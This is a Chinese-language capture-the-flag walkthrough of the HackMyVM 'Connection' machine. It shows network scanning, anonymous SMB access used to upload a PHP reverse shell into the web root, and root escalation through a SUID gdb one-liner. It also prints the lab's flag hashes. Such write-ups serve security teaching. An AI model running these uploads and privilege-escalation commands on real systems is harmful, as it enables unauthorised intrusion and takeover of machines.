HackMyVM-Connection


目录

信息收集

arp

nmap

WEB

web信息收集

dirsearch

smbclient

[put shell](#put shell)

提权

系统信息收集

[suid gdb提权](#suid gdb提权)

信息收集

arp
复制代码
┌─[root@parrot]─[~/HackMyVM]
└──╼ #arp-scan -l
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:16:3d:f8, IPv4: 192.168.9.115
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.116  08:00:27:6e:05:4c  PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.048 seconds (125.00 hosts/sec). 4 responded

nmap
复制代码
端口扫描

┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -p- 192.168.9.116 --min-rate 10000 -oA ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:30 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.34 seconds

服务版本扫描

┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -sC -sV -O -p 22,80,139,445 192.168.9.116 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:31 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00076s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
|   256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
|_  256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time: 
|   date: 2024-04-16T08:31:13
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: connection
|   NetBIOS computer name: CONNECTION\x00
|   Domain name: \x00
|   FQDN: connection
|_  System time: 2024-04-16T04:31:13-04:00
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds

WEB

web信息收集

dirsearch
复制代码
┌─[root@parrot]─[~/HackMyVM]
└──╼ #dirsearch -u http://192.168.9.116/ -x 403,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/HackMyVM/reports/http_192.168.9.116/__24-04-16_08-35-12.txt

Target: http://192.168.9.116/

[08:35:12] Starting: 

Task Completed

smbclient
复制代码
┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient -L 192.168.9.116//
Password for [WORKGROUP\root]:
Anonymous login successful

  Sharename       Type      Comment
  ---------       ----      -------
  share           Disk      
  print$          Disk      Printer Drivers
  IPC$            IPC       IPC Service (Private Share for uploading files)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server               Comment
  ---------            -------

  Workgroup            Master
  ---------            -------
  WORKGROUP            CONNECTION

复制代码
┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient \\\\192.168.9.116\\share
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep 23 01:48:39 2020
  ..                                  D        0  Wed Sep 23 01:48:39 2020
  html                                D        0  Wed Sep 23 02:20:00 2020

    7158264 blocks of size 1024. 5460488 blocks available
smb: \> cd html
smb: \html\> ls
  .                                   D        0  Wed Sep 23 02:20:00 2020
  ..                                  D        0  Wed Sep 23 01:48:39 2020
  index.html                          N    10701  Wed Sep 23 01:48:45 2020

    7158264 blocks of size 1024. 5460488 blocks available
smb: \html\> get index.html 
getting file \html\index.html of size 10701 as index.html (2612.5 KiloBytes/sec) (average 2612.5 KiloBytes/sec)
smb: \html\> 

这里应该是网站的根目录,我们下载html文件查看一下!
复制代码
发现就是源文件!

put shell
复制代码
我们尝试在此上传一个php反弹shell的木马!

smb: \html\> put shell.php
putting file shell.php as \html\shell.php (360.9 kb/s) (average 360.9 kb/s)
smb: \html\> ls
  .                                   D        0  Tue Apr 16 09:26:37 2024
  ..                                  D        0  Wed Sep 23 01:48:39 2020
  index.html                          N    10701  Wed Sep 23 01:48:45 2020
  shell.php                           A     2587  Tue Apr 16 09:26:37 2024

    7158264 blocks of size 1024. 5460480 blocks available
smb: \html\> 

提权

系统信息收集
复制代码
获取稳定的交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm

www-data@connection:/home/connection$ ls
ls
local.txt
www-data@connection:/home/connection$ cat local.txt
cat local.txt
3f491443a2a6aa82bc86a3cda8c39617
www-data@connection:/home/connection$ 

得到user.txt

www-data@connection:/home/connection$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/gdb
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpass

这里 gdb 被设置了为suid权限!

suid gdb提权
复制代码
payload:

gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit

www-data@connection:/$ gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
sh-5.0# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

复制代码
sh-5.0# cd /root
cd /root
sh-5.0# ls
ls
proof.txt
sh-5.0# cat proof.txt
cat proof.txt
a7c6ea4931ab86fb54c5400204474a39
sh-5.0# 

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